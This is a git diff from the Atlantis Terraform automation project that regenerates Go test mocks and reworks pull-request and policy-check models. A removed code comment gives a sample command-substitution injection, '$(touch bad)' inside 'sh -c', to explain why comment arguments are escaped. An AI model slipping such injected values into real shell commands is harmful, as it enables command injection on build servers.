GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification { + _params := []pegomock.Param{r, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetWorkingDir", _params, verifier.timeout) + return &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockWorkingDir_Delete_OngoingVerification struct { +type MockWorkingDir_GetWorkingDir_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - r, p := c.GetAllCapturedArguments() - return r[len(r)-1], p[len(p)-1] +func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { + r, p, workspace := c.GetAllCapturedArguments() + return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } -func (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } } return } -func (verifier *VerifierMockWorkingDir) DeleteForWorkspace(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification { - params := []pegomock.Param{r, p, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteForWorkspace", params, verifier.timeout) - return &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) *MockWorkingDir_HasDiverged_OngoingVerification { + _params := []pegomock.Param{logger, cloneDir} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HasDiverged", _params, verifier.timeout) + return &MockWorkingDir_HasDiverged_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockWorkingDir_DeleteForWorkspace_OngoingVerification struct { +type MockWorkingDir_HasDiverged_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { - r, p, workspace := c.GetAllCapturedArguments() - return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { + logger, cloneDir := c.GetAllCapturedArguments() + return logger[len(logger)-1], cloneDir[len(cloneDir)-1] } -func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_MergeAgain_OngoingVerification { + _params := []pegomock.Param{logger, headRepo, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergeAgain", _params, verifier.timeout) + return &MockWorkingDir_MergeAgain_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_MergeAgain_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, headRepo, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] +} + +func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return diff --git a/server/events/mocks/mock_working_dir_locker.go b/server/events/mocks/mock_working_dir_locker.go index 6cb661fe39..adf786dc51 100644 --- a/server/events/mocks/mock_working_dir_locker.go +++ b/server/events/mocks/mock_working_dir_locker.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) @@ -24,42 +24,23 @@ func NewMockWorkingDirLocker(options ...pegomock.Option) *MockWorkingDirLocker { func (mock *MockWorkingDirLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWorkingDirLocker) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string) (func(), error) { +func (mock *MockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string) (func(), error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDirLocker().") } - params := []pegomock.Param{repoFullName, pullNum, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 func() - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(func()) + _params := []pegomock.Param{repoFullName, pullNum, workspace, path} + _result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 func() + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(func()) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 -} - -func (mock *MockWorkingDirLocker) TryLockPull(repoFullName string, pullNum int) (func(), error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockWorkingDirLocker().") - } - params := []pegomock.Param{repoFullName, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("TryLockPull", params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 func() - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(func()) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockWorkingDirLocker) VerifyWasCalledOnce() *VerifierMockWorkingDirLocker { @@ -69,14 +50,14 @@ func (mock *MockWorkingDirLocker) VerifyWasCalledOnce() *VerifierMockWorkingDirL } } -func (mock *MockWorkingDirLocker) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockWorkingDirLocker { +func (mock *MockWorkingDirLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockWorkingDirLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDirLocker { +func (mock *MockWorkingDirLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -84,7 +65,7 @@ func (mock *MockWorkingDirLocker) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockWorkingDirLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockWorkingDirLocker { +func (mock *MockWorkingDirLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -94,14 +75,14 @@ func (mock *MockWorkingDirLocker) VerifyWasCalledEventually(invocationCountMatch type VerifierMockWorkingDirLocker struct { mock *MockWorkingDirLocker - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string) *MockWorkingDirLocker_TryLock_OngoingVerification { - params := []pegomock.Param{repoFullName, pullNum, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", params, verifier.timeout) +func (verifier *VerifierMockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string) *MockWorkingDirLocker_TryLock_OngoingVerification { + _params := []pegomock.Param{repoFullName, pullNum, workspace, path} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", _params, verifier.timeout) return &MockWorkingDirLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -110,56 +91,37 @@ type MockWorkingDirLocker_TryLock_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetCapturedArguments() (string, int, string) { - repoFullName, pullNum, workspace := c.GetAllCapturedArguments() - return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1], workspace[len(workspace)-1] +func (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetCapturedArguments() (string, int, string, string) { + repoFullName, pullNum, workspace, path := c.GetAllCapturedArguments() + return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1], workspace[len(workspace)-1], path[len(path)-1] } -func (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int, _param2 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) +func (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int, _param2 []string, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 1 { + _param1 = make([]int, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(int) + } } - } - return -} - -func (verifier *VerifierMockWorkingDirLocker) TryLockPull(repoFullName string, pullNum int) *MockWorkingDirLocker_TryLockPull_OngoingVerification { - params := []pegomock.Param{repoFullName, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLockPull", params, verifier.timeout) - return &MockWorkingDirLocker_TryLockPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockWorkingDirLocker_TryLockPull_OngoingVerification struct { - mock *MockWorkingDirLocker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockWorkingDirLocker_TryLockPull_OngoingVerification) GetCapturedArguments() (string, int) { - repoFullName, pullNum := c.GetAllCapturedArguments() - return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] -} - -func (c *MockWorkingDirLocker_TryLockPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return diff --git a/server/events/models/fixtures/fixtures.go b/server/events/models/fixtures/fixtures.go deleted file mode 100644 index 8aec38b4fb..0000000000 --- a/server/events/models/fixtures/fixtures.go +++ /dev/null @@ -1,52 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package fixtures - -import "github.com/runatlantis/atlantis/server/events/models" - -var Pull = models.PullRequest{ - Num: 1, - HeadCommit: "16ca62f65c18ff456c6ef4cacc8d4826e264bb17", - HeadBranch: "branch", - Author: "lkysow", - URL: "url", -} - -var GithubRepo = models.Repo{ - CloneURL: "https://user:password@github.com/runatlantis/atlantis.git", - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - SanitizedCloneURL: "https://github.com/runatlantis/atlantis.git", - Name: "atlantis", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, -} - -var GitlabRepo = models.Repo{ - CloneURL: "https://user:password@github.com/runatlantis/atlantis.git", - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - SanitizedCloneURL: "https://gitlab.com/runatlantis/atlantis.git", - Name: "atlantis", - VCSHost: models.VCSHost{ - Hostname: "gitlab.com", - Type: models.Gitlab, - }, -} - -var User = models.User{ - Username: "lkysow", -} diff --git a/server/events/models/models.go b/server/events/models/models.go index 533f8097db..b8de299a4f 100644 --- a/server/events/models/models.go +++ b/server/events/models/models.go @@ -3,7 +3,9 @@ // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 +// +// http://www.apache.org/licenses/LICENSE-2.0 +// // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -20,16 +22,21 @@ import ( "fmt" "net/url" paths "path" + "regexp" + "strconv" "strings" "time" - "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/logging" "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/yaml/valid" ) +type PullReqStatus struct { + ApprovalStatus ApprovalStatus + Mergeable bool +} + // Repo is a VCS repository. type Repo struct { // FullName is the owner and repo name separated @@ -64,7 +71,8 @@ func (r Repo) ID() string { // NewRepo constructs a Repo object. repoFullName is the owner/repo form, // cloneURL can be with or without .git at the end // ex. https://github.com/runatlantis/atlantis.git OR -// https://github.com/runatlantis/atlantis +// +// https://github.com/runatlantis/atlantis func NewRepo(vcsHostType VCSHostType, repoFullName string, cloneURL string, vcsUser string, vcsToken string) (Repo, error) { if repoFullName == "" { return Repo{}, errors.New("repoFullName can't be empty") @@ -137,6 +145,12 @@ func NewRepo(vcsHostType VCSHostType, repoFullName string, cloneURL string, vcsU }, nil } +type ApprovalStatus struct { + IsApproved bool + ApprovedBy string + Date time.Time +} + // PullRequest is a VCS pull request. // GitLab calls these Merge Requests. type PullRequest struct { @@ -166,6 +180,16 @@ type PullRequest struct { BaseRepo Repo } +// PullRequestOptions is used to set optional paralmeters for PullRequest +type PullRequestOptions struct { + // When DeleteSourceBranchOnMerge flag is set to true VCS deletes the source branch after the PR is merged + // Applied by GitLab & AzureDevops + DeleteSourceBranchOnMerge bool + // MergeMethod specifies the merge method for the VCS + // Implemented only for Github + MergeMethod string +} + type PullRequestState int const ( @@ -200,6 +224,7 @@ func (p PullRequestEventType) String() string { // During an autoplan, the user will be the Atlantis API user. type User struct { Username string + Teams []string } // ProjectLock represents a lock on a project. @@ -223,6 +248,8 @@ type ProjectLock struct { // Terraform projects in a single repo we also include Path to the project // root relative to the repo root. type Project struct { + // ProjectName of the project + ProjectName string // RepoFullName is the owner and repo name, ex. "runatlantis/atlantis" RepoFullName string // Path to project root in the repo. @@ -235,6 +262,7 @@ type Project struct { } func (p Project) String() string { + // TODO: Incorporate ProjectName? return fmt.Sprintf("repofullname=%s path=%s", p.RepoFullName, p.Path) } @@ -250,12 +278,13 @@ type Plan struct { // NewProject constructs a Project. Use this constructor because it // sets Path correctly. -func NewProject(repoFullName string, path string) Project { +func NewProject(repoFullName string, path string, projectName string) Project { path = paths.Clean(path) if path == "/" { path = "." } return Project{ + ProjectName: projectName, RepoFullName: repoFullName, Path: path, } @@ -279,6 +308,7 @@ const ( BitbucketCloud BitbucketServer AzureDevops + Gitea ) func (h VCSHostType) String() string { @@ -293,78 +323,38 @@ func (h VCSHostType) String() string { return "BitbucketServer" case AzureDevops: return "AzureDevops" + case Gitea: + return "Gitea" } return "" } -// ProjectCommandContext defines the context for a plan or apply stage that will -// be executed for a project. -type ProjectCommandContext struct { - // ApplyCmd is the command that users should run to apply this plan. If - // this is an apply then this will be empty. - ApplyCmd string - // ApplyRequirements is the list of requirements that must be satisfied - // before we will run the apply stage. - ApplyRequirements []string - // AutomergeEnabled is true if automerge is enabled for the repo that this - // project is in. - AutomergeEnabled bool - // ParallelApplyEnabled is true if parallel apply is enabled for this project. - ParallelApplyEnabled bool - // ParallelPlanEnabled is true if parallel plan is enabled for this project. - ParallelPlanEnabled bool - // AutoplanEnabled is true if autoplanning is enabled for this project. - AutoplanEnabled bool - // BaseRepo is the repository that the pull request will be merged into. - BaseRepo Repo - // EscapedCommentArgs are the extra arguments that were added to the atlantis - // command, ex. atlantis plan -- -target=resource. We then escape them - // by adding a \ before each character so that they can be used within - // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". - EscapedCommentArgs []string - // HeadRepo is the repository that is getting merged into the BaseRepo. - // If the pull request branch is from the same repository then HeadRepo will - // be the same as BaseRepo. - HeadRepo Repo - // Log is a logger that's been set up for this context. - Log *logging.SimpleLogger - // PullMergeable is true if the pull request for this project is able to be merged. - PullMergeable bool - // Pull is the pull request we're responding to. - Pull PullRequest - // ProjectName is the name of the project set in atlantis.yaml. If there was - // no name this will be an empty string. - ProjectName string - // RepoConfigVersion is the version of the repo's atlantis.yaml file. If - // there was no file, this will be 0. - RepoConfigVersion int - // RePlanCmd is the command that users should run to re-plan this project. - // If this is an apply then this will be empty. - RePlanCmd string - // RepoRelDir is the directory of this project relative to the repo root. - RepoRelDir string - // Steps are the sequence of commands we need to run for this project and this - // stage. - Steps []valid.Step - // TerraformVersion is the version of terraform we should use when executing - // commands for this project. This can be set to nil in which case we will - // use the default Atlantis terraform version. - TerraformVersion *version.Version - // User is the user that triggered this command. - User User - // Verbose is true when the user would like verbose output. - Verbose bool - // Workspace is the Terraform workspace this project is in. It will always - // be set. - Workspace string +func NewVCSHostType(t string) (VCSHostType, error) { + switch t { + case "Github": + return Github, nil + case "Gitlab": + return Gitlab, nil + case "BitbucketCloud": + return BitbucketCloud, nil + case "BitbucketServer": + return BitbucketServer, nil + case "AzureDevops": + return AzureDevops, nil + case "Gitea": + return Gitea, nil + } + + return -1, fmt.Errorf("%q is not a valid type", t) } // SplitRepoFullName splits a repo full name up into its owner and repo // name segments. If the repoFullName is malformed, may return empty // strings for owner or repo. // Ex. runatlantis/atlantis => (runatlantis, atlantis) -// gitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis) -// azuredevops/project/atlantis => (azuredevops/project, atlantis) +// +// gitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis) +// azuredevops/project/atlantis => (azuredevops/project, atlantis) func SplitRepoFullName(repoFullName string) (owner string, repo string) { lastSlashIdx := strings.LastIndex(repoFullName, "/") if lastSlashIdx == -1 || lastSlashIdx == len(repoFullName)-1 { @@ -374,74 +364,176 @@ func SplitRepoFullName(repoFullName string) (owner string, repo string) { return repoFullName[:lastSlashIdx], repoFullName[lastSlashIdx+1:] } -// ProjectResult is the result of executing a plan/apply for a specific project. -type ProjectResult struct { - Command CommandName - RepoRelDir string - Workspace string - Error error - Failure string - PlanSuccess *PlanSuccess - ApplySuccess string - ProjectName string +// PlanSuccess is the result of a successful plan. +type PlanSuccess struct { + // TerraformOutput is the output from Terraform of running plan. + TerraformOutput string + // LockURL is the full URL to the lock held by this plan. + LockURL string + // RePlanCmd is the command that users should run to re-plan this project. + RePlanCmd string + // ApplyCmd is the command that users should run to apply this plan. + ApplyCmd string + // MergedAgain is true if we're using the checkout merge strategy and the + // branch we're merging into had been updated, and we had to merge again + // before planning + MergedAgain bool +} + +type PolicySetResult struct { + PolicySetName string + PolicyOutput string + Passed bool + ReqApprovals int + CurApprovals int } -// CommitStatus returns the vcs commit status of this project result. -func (p ProjectResult) CommitStatus() CommitStatus { - if p.Error != nil { - return FailedCommitStatus +// PolicySetApproval tracks the number of approvals a given policy set has. +type PolicySetStatus struct { + PolicySetName string + Passed bool + Approvals int +} + +// Summary regexes +var ( + reChangesOutside = regexp.MustCompile(`Note: Objects have changed outside of Terraform`) + rePlanChanges = regexp.MustCompile(`Plan: (?:(\d+) to import, )?(\d+) to add, (\d+) to change, (\d+) to destroy.`) + reNoChanges = regexp.MustCompile(`No changes. (Infrastructure is up-to-date|Your infrastructure matches the configuration).`) +) + +// Summary extracts summaries of plan changes from TerraformOutput. +func (p *PlanSuccess) Summary() string { + note := "" + if match := reChangesOutside.FindString(p.TerraformOutput); match != "" { + note = "\n**" + match + "**\n" } - if p.Failure != "" { - return FailedCommitStatus + return note + p.DiffSummary() +} + +// DiffSummary extracts one line summary of plan changes from TerraformOutput. +func (p *PlanSuccess) DiffSummary() string { + if match := rePlanChanges.FindString(p.TerraformOutput); match != "" { + return match } - return SuccessCommitStatus + return reNoChanges.FindString(p.TerraformOutput) } -// PlanStatus returns the plan status. -func (p ProjectResult) PlanStatus() ProjectPlanStatus { - switch p.Command { +// NoChanges returns true if the plan has no changes. +func (p *PlanSuccess) NoChanges() bool { + return reNoChanges.MatchString(p.TerraformOutput) +} - case PlanCommand: - if p.Error != nil { - return ErroredPlanStatus - } else if p.Failure != "" { - return ErroredPlanStatus - } - return PlannedPlanStatus +// Diff Markdown regexes +var ( + diffKeywordRegex = regexp.MustCompile(`(?m)^( +)([-+~]\s)(.*)(\s=\s|\s->\s|<<|\{|\(known after apply\)| {2,}[^ ]+:.*)(.*)`) + diffListRegex = regexp.MustCompile(`(?m)^( +)([-+~]\s)(".*",)`) + diffTildeRegex = regexp.MustCompile(`(?m)^~`) +) - case ApplyCommand: - if p.Error != nil { - return ErroredApplyStatus - } else if p.Failure != "" { - return ErroredApplyStatus - } - return AppliedPlanStatus - } +// DiffMarkdownFormattedTerraformOutput formats the Terraform output to match diff markdown format +func (p PlanSuccess) DiffMarkdownFormattedTerraformOutput() string { + formattedTerraformOutput := diffKeywordRegex.ReplaceAllString(p.TerraformOutput, "$2$1$3$4$5") + formattedTerraformOutput = diffListRegex.ReplaceAllString(formattedTerraformOutput, "$2$1$3") + formattedTerraformOutput = diffTildeRegex.ReplaceAllString(formattedTerraformOutput, "!") - panic("PlanStatus() missing a combination") + return strings.TrimSpace(formattedTerraformOutput) } -// IsSuccessful returns true if this project result had no errors. -func (p ProjectResult) IsSuccessful() bool { - return p.PlanSuccess != nil || p.ApplySuccess != "" +// Stats returns plan change stats and contextual information. +func (p PlanSuccess) Stats() PlanSuccessStats { + return NewPlanSuccessStats(p.TerraformOutput) } -// PlanSuccess is the result of a successful plan. -type PlanSuccess struct { - // TerraformOutput is the output from Terraform of running plan. - TerraformOutput string - // LockURL is the full URL to the lock held by this plan. +// PolicyCheckResults is the result of a successful policy check run. +type PolicyCheckResults struct { + PreConftestOutput string + PostConftestOutput string + // PolicySetResults is the output from policy check binary(conftest|opa) + PolicySetResults []PolicySetResult + // LockURL is the full URL to the lock held by this policy check. LockURL string // RePlanCmd is the command that users should run to re-plan this project. RePlanCmd string // ApplyCmd is the command that users should run to apply this plan. ApplyCmd string + // ApprovePoliciesCmd is the command that users should run to approve policies for this plan. + ApprovePoliciesCmd string // HasDiverged is true if we're using the checkout merge strategy and the // branch we're merging into has been updated since we cloned and merged // it. HasDiverged bool } +// ImportSuccess is the result of a successful import run. +type ImportSuccess struct { + // Output is the output from terraform import + Output string + // RePlanCmd is the command that users should run to re-plan this project. + RePlanCmd string +} + +// StateRmSuccess is the result of a successful state rm run. +type StateRmSuccess struct { + // Output is the output from terraform state rm + Output string + // RePlanCmd is the command that users should run to re-plan this project. + RePlanCmd string +} + +func (p *PolicyCheckResults) CombinedOutput() string { + combinedOutput := "" + for _, psResult := range p.PolicySetResults { + // accounting for json output from conftest. + for _, psResultLine := range strings.Split(psResult.PolicyOutput, "\\n") { + combinedOutput = fmt.Sprintf("%s\n%s", combinedOutput, psResultLine) + } + } + return combinedOutput +} + +// Summary extracts one line summary of each policy check. +func (p *PolicyCheckResults) Summary() string { + note := "" + for _, policySetResult := range p.PolicySetResults { + r := regexp.MustCompile(`\d+ tests?, \d+ passed, \d+ warnings?, \d+ failures?, \d+ exceptions?(, \d skipped)?`) + if match := r.FindString(policySetResult.PolicyOutput); match != "" { + note = fmt.Sprintf("%s\npolicy set: %s: %s", note, policySetResult.PolicySetName, match) + } + } + return strings.Trim(note, "\n") +} + +// PolicyCleared is used to determine if policies have all succeeded or been approved. +func (p *PolicyCheckResults) PolicyCleared() bool { + passing := true + for _, policySetResult := range p.PolicySetResults { + if !policySetResult.Passed && (policySetResult.CurApprovals != policySetResult.ReqApprovals) { + passing = false + } + } + return passing +} + +// PolicySummary returns a summary of the current approval state of policy sets. +func (p *PolicyCheckResults) PolicySummary() string { + var summary []string + for _, policySetResult := range p.PolicySetResults { + if policySetResult.Passed { + summary = append(summary, fmt.Sprintf("policy set: %s: passed.", policySetResult.PolicySetName)) + } else if policySetResult.CurApprovals == policySetResult.ReqApprovals { + summary = append(summary, fmt.Sprintf("policy set: %s: approved.", policySetResult.PolicySetName)) + } else { + summary = append(summary, fmt.Sprintf("policy set: %s: requires: %d approval(s), have: %d.", policySetResult.PolicySetName, policySetResult.ReqApprovals, policySetResult.CurApprovals)) + } + } + return strings.Join(summary, "\n") +} + +type VersionSuccess struct { + VersionOutput string +} + // PullStatus is the current status of a pull request that is in progress. type PullStatus struct { // Projects are the projects that have been modified in this pull request. @@ -466,6 +558,8 @@ type ProjectStatus struct { Workspace string RepoRelDir string ProjectName string + // PolicySetApprovals tracks the approval status of every PolicySet for a Project. + PolicyStatus []PolicySetStatus // Status is the status of where this project is at in the planning cycle. Status ProjectPlanStatus } @@ -481,6 +575,9 @@ const ( // PlannedPlanStatus means that a plan has been successfully generated but // not yet applied. PlannedPlanStatus + // PlannedNoChangesPlanStatus means that a plan has been successfully + // generated with "No changes" and not yet applied. + PlannedNoChangesPlanStatus // ErroredApplyStatus means that a plan has been generated but there was an // error while applying it. 